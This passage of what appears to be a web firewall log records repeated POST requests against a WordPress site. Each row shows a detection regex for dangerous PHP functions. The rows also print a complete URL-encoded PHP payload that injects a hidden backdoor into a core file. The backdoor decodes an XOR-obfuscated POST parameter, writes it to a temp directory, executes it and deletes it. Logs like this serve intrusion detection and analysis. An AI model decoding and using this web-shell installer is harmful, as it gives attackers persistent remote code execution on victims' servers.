28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4036\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nVY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:26","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4036\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nlI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:28","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:4036\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nTH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:30","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:4059\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 